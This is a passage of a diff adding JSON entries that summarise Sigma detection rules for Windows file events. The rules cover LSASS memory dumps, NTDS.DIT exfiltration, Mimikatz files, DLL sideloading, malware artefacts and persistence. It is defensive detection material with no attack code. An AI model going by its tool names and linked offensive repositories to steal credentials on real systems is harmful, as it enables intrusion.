"file_event_win_hivenightmare_file_exports.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Files that accidentally contain these strings" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file", + "uuid": "cad1fe90-2406-44dc-bd03-59d0b58fe722", + "value": "NPPSpy Hacktool Usage", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", + "https://twitter.com/0gtweet/status/1465282548494487554", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2021/11/29", + "filename": "file_event_win_hktl_nppspy.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.", + "uuid": "dbbd9f66-2ed3-4ca2-98a4-6ea985dd1a1c", + "value": "Potential Initial Access via DLL Search Order Hijacking", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", + "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.001", + "attack.initial_access", + "attack.t1574", + "attack.t1574.001", + "attack.defense_evasion" + ], + "creation_date": "2022/10/21", + "filename": "file_event_win_initial_access_dll_search_order_hijacking.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "TeamViewer_Desktop.exe is create during install", + "uuid": "9711de76-5d4f-4c50-a94f-21e4e8f8384d", + "value": "Installation of TeamViewer Desktop", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_install_teamviewer_desktop.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/01/28", + "filename": "file_event_win_install_teamviewer_desktop.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the presence and execution of Inveigh via dropped artefacts", + "uuid": "bb09dd3e-2b78-4819-8e35-a7c1b874e449", + "value": "Inveigh Execution Artefacts", + "meta": { + "refs": [ + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_inveigh_artefacts.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/10/24", + "filename": "file_event_win_inveigh_artefacts.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or OneDrive application, the dropped malicious DLL file (\u201ciphlpapi.dll\u201d) is sideloaded\n", + "uuid": "1908fcc1-1b92-4272-8214-0fbaf2fa5163", + "value": "Malicious DLL File Dropped in the Teams or OneDrive Folder", + "meta": { + "refs": [ + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/12", + "filename": "file_event_win_iphlpapi_dll_sideloading.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.", + "uuid": "2f9356ae-bf43-41b8-b858-4496d83b2acb", + "value": "ISO File Created Within Temp Folders", + "meta": { + "refs": [ + "https://twitter.com/Sam0x90/status/1552011547974696960", + "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2022/07/30", + "filename": "file_event_win_iso_file_mount.yml", + "author": "@sam0x90", + "level": "high", + "falsepositive": [ + "Potential FP by sysadmin opening a zip file containing a legitimate ISO file" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks.\nThis can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.\n", + "uuid": "4358e5a5-7542-4dcb-b9f3-87667371839b", + "value": "ISO or Image Mount Indicator in Recent Files", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", + "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", + "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/11", + "filename": "file_event_win_iso_file_recent.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Cases in which a user mounts an image file for legitimate reasons" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs on a Windows system that should not write an archive to disk", + "uuid": "654fcc6d-840d-4844-9b07-2c3300e54a26", + "value": "Legitimate Application Dropped Archive", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_archive.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/21", + "filename": "file_event_win_legitimate_app_dropping_archive.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs on a Windows system that should not write executables to disk", + "uuid": "f0540f7e-2db3-4432-b9e0-3965486744bc", + "value": "Legitimate Application Dropped Executable", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/21", + "filename": "file_event_win_legitimate_app_dropping_exe.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs on a Windows system that should not write scripts to disk", + "uuid": "7d604714-e071-49ff-8726-edeb95a70679", + "value": "Legitimate Application Dropped Script", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_script.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/21", + "filename": "file_event_win_legitimate_app_dropping_script.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects file names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials", + "uuid": "a5a2d357-1ab8-4675-a967-ef9990a59391", + "value": "LSASS Process Memory Dump Files", + "meta": { + "refs": [ + "https://www.google.com/search?q=procdump+lsass", + "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", + "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", + "https://github.com/helpsystems/nanodump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/11/15", + "filename": "file_event_win_lsass_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified", + "uuid": "5e3d3601-0662-4af0-b1d2-36a05e90c40a", + "value": "LSASS Memory Dump File Creation", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_memory_dump_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/10/22", + "filename": "file_event_win_lsass_memory_dump_file_creation.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "high", + "falsepositive": [ + "Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator", + "Dumps of another process that contains lsass in its process name (substring)" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials", + "uuid": "c3e76af5-4ce0-4a14-9c9a-25ceb8fda182", + "value": "WerFault LSASS Process Memory Dump", + "meta": { + "refs": [ + "https://github.com/helpsystems/nanodump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/06/27", + "filename": "file_event_win_lsass_werfault_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "A office file with macro is created from a commandline or a script", + "uuid": "b1c50487-1967-4315-a026-6491686d860e", + "value": "Dump Office Macro Files from Commandline", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", + "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_macro_file.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2022/01/23", + "filename": "file_event_win_macro_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "uuid": "0bcfabcb-7929-47f4-93d6-b33fb67d34d1", + "value": "Adwind RAT / JRAT", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2017/11/10", + "filename": "file_event_win_mal_adwind.yml", + "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Octopus Scanner Malware.", + "uuid": "805c55d9-31e6-4846-9878-c34c75054fe9", + "value": "Octopus Scanner Malware", + "meta": { + "refs": [ + "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml" + ], + "tags": [ + "attack.t1195", + "attack.t1195.001" + ], + "creation_date": "2020/06/09", + "filename": "file_event_win_mal_octopus_scanner.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Malware can use mountable Virtual Hard Disk .vhd file to encapsulate payloads and evade security controls", + "uuid": "8468111a-ef07-4654-903b-b863a80bbc95", + "value": "Suspicious VHD Image Download From Browser", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_vhd_download.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2021/10/25", + "filename": "file_event_win_mal_vhd_download.yml", + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "medium", + "falsepositive": [ + "Legitimate user creation" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of files that contain Kerberos tickets based on an extension used by the popular tool Mimikatz", + "uuid": "9e099d99-44c2-42b6-a6d8-54c3545cab29", + "value": "Mimikatz Kirbi File Creation", + "meta": { + "refs": [ + "https://cobalt.io/blog/kerberoast-attack-techniques", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_kirbi_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558" + ], + "creation_date": "2021/11/08", + "filename": "file_event_win_mimikatz_kirbi_file_creation.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Mimikatz MemSSP default log file creation", + "uuid": "034affe8-6170-11ec-844f-0f78aa0c4d66", + "value": "Mimikatz MemSSP Default Log File Creation", + "meta": { + "refs": [ + "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimimaktz_memssp_log_file.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2021/12/20", + "filename": "file_event_win_mimimaktz_memssp_log_file.yml", + "author": "David ANDRE", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", + "uuid": "a1507d71-0b60-44f6-b17c-bf53220fdd88", + "value": "Moriya Rootkit", + "meta": { + "refs": [ + "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_moriya_rootkit.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2021/05/06", + "filename": "file_event_win_moriya_rootkit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects msdt.exe creating files in suspicious directories", + "uuid": "318557a5-150c-4c8d-b70e-a9910e199857", + "value": "MSDT.exe Creates Files in Autorun Directory", + "meta": { + "refs": [ + "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_autorun.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "cve.2022.30190" + ], + "creation_date": "2022/08/24", + "filename": "file_event_win_msdt_autorun.yml", + "author": "Vadim Varganov, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", + "uuid": "d7b50671-d1ad-4871-aa60-5aa5b331fe04", + "value": "Creation Suspicious File In Uncommon AppData Folder", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/08/05", + "filename": "file_event_win_new_files_in_uncommon_appdata_folder.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "An attacker may execute an application as a .SCR File (Screensaver) using rundll32.exe desk.cpl,InstallScreenSaver", + "uuid": "c048f047-7e2a-4888-b302-55f509d4a91d", + "value": "SCR File Write Event", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Desk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_src_file.yml" + ], + "tags": [ + "attack.t1218.011", + "attack.defense_evasion" + ], + "creation_date": "2022/04/27", + "filename": "file_event_win_new_src_file.yml", + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "The installation of new screen savers." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", + "uuid": "54127bd4-f541-4ac3-afdb-ea073f63f692", + "value": "Persistence Via Notepad++ Plugins", + "meta": { + "refs": [ + "https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_notepad_plus_plus_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/06/10", + "filename": "file_event_win_notepad_plus_plus_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Possible FPs during first installation of Notepad++", + "Legitimate use of custom plugins to enhance notepad++ functionality by users" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious creations of a file named ntds.dit, e.g. by a PowerShell parent or in a suspicious directory or a suspicious one liner", + "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d", + "value": "Suspicious NTDS.DIT Creation", + "meta": { + "refs": [ + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://pentestlab.blog/tag/ntds-dit/", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/03/11", + "filename": "file_event_win_ntds_dit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious creations of files with names used in various tools that export the NTDS.DIT for exfiltration", + "uuid": "3a8da4e0-36c1-40d2-8b29-b3e890d5172a", + "value": "Suspicious NTDS Exfil Filename Patterns", + "meta": { + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb", + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", + "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/03/11", + "filename": "file_event_win_ntds_exfil_tools.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects add-ins that load when Microsoft Word or Excel starts (.wll/.xll are simply .dll fit for Word or Excel).", + "uuid": "8e1cb247-6cf6-42fa-b440-3f27d57e9936", + "value": "Microsoft Office Add-In Loading", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.006" + ], + "creation_date": "2020/05/11", + "filename": "file_event_win_office_persistence.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Legitimate add-ins" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a macro file for Outlook.\nGoes with win_outlook_c2_registry_key. VbaProject.OTM is explicitly mentioned in T1137.\nParticularly interesting if both events Registry & File Creation happens at the same time.\n", + "uuid": "8c31f563-f9a7-450c-bfa8-35f8f32f1f61", + "value": "Outlook C2 Macro Creation", + "meta": { + "refs": [ + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_c2_macro_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.command_and_control", + "attack.t1137", + "attack.t1008", + "attack.t1546" + ], + "creation_date": "2021/04/05", + "filename": "file_event_win_outlook_c2_macro_creation.yml", + "author": "@ScoubiMtl", + "level": "medium", + "falsepositive": [ + "User genuinly creates a VB Macro for their email" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of new Outlook form which can contain malicious code", + "uuid": "c3edc6a5-d9d4-48d8-930e-aab518390917", + "value": "Outlook Form Installation", + "meta": { + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_newform.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.003" + ], + "creation_date": "2021/06/10", + "filename": "file_event_win_outlook_newform.yml", + "author": "Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes creating temp files related to PCRE.NET package", + "uuid": "6e90ae7a-7cd3-473f-a035-4ebb72d961da", + "value": "PCRE.NET Package Temp Files", + "meta": { + "refs": [ + "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://twitter.com/tifkin_/status/1321916444557365248", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/10/29", + "filename": "file_event_win_pcre_net_temp_file.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "uuid": "2bd63d53-84d4-4210-80ff-bf0658f1bf78", + "value": "Pingback Backdoor", + "meta": { + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ], + "creation_date": "2021/05/05", + "filename": "file_event_win_pingback_backdoor.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of known powershell scripts for exploitation", + "uuid": "f331aa1f-8c53-4fc3-b083-cc159bc971cb", + "value": "Malicious PowerShell Commandlet Names", + "meta": { + "refs": [ + "https://raw.githubusercontent.com/Neo23x0/sigma/f35c50049fa896dff91ff545cb199319172701e8/rules/windows/powershell/powershell_malicious_commandlets.yml", + "https://github.com/PowerShellMafia/PowerSploit", + "https://github.com/NetSPI/PowerUpSQL", + "https://github.com/CsEnox/EventViewer-UACBypass", + "https://github.com/AlsidOfficial/WSUSpendu/", + "https://github.com/nettitude/Invoke-PowerThIEf", + "https://github.com/S3cur3Th1sSh1t/WinPwn", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2018/04/07", + "filename": "file_event_win_powershell_exploit_scripts.yml", + "author": "Markus Neis, Nasreddine Bencherchali, Mustafa Kaan Demir", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to detect PowerShell writing startup shortcuts.\nThis procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.\nAccordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.\nIn the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"\n", + "uuid": "92fa78e7-4d39-45f1-91a3-8b23f3f1088d", + "value": "PowerShell Writing Startup Shortcuts", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2021/10/24", + "filename": "file_event_win_powershell_startup_shortcuts.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE", + "level": "high", + "falsepositive": [ + "Unknown", + "Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a dump file written by QuarksPwDump password dumper", + "uuid": "847def9e-924d-4e90-b7c4-5f581395a2b4", + "value": "QuarksPwDump Dump File", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_quarkspw_filedump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2018/02/10", + "filename": "file_event_win_quarkspw_filedump.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Rclone config file being created", + "uuid": "34986307-b7f4-49be-92f3-e7a4d01ac5db", + "value": "Rclone Config File Creation", + "meta": { + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_exec_file.yml" + ], + "tags": [ + 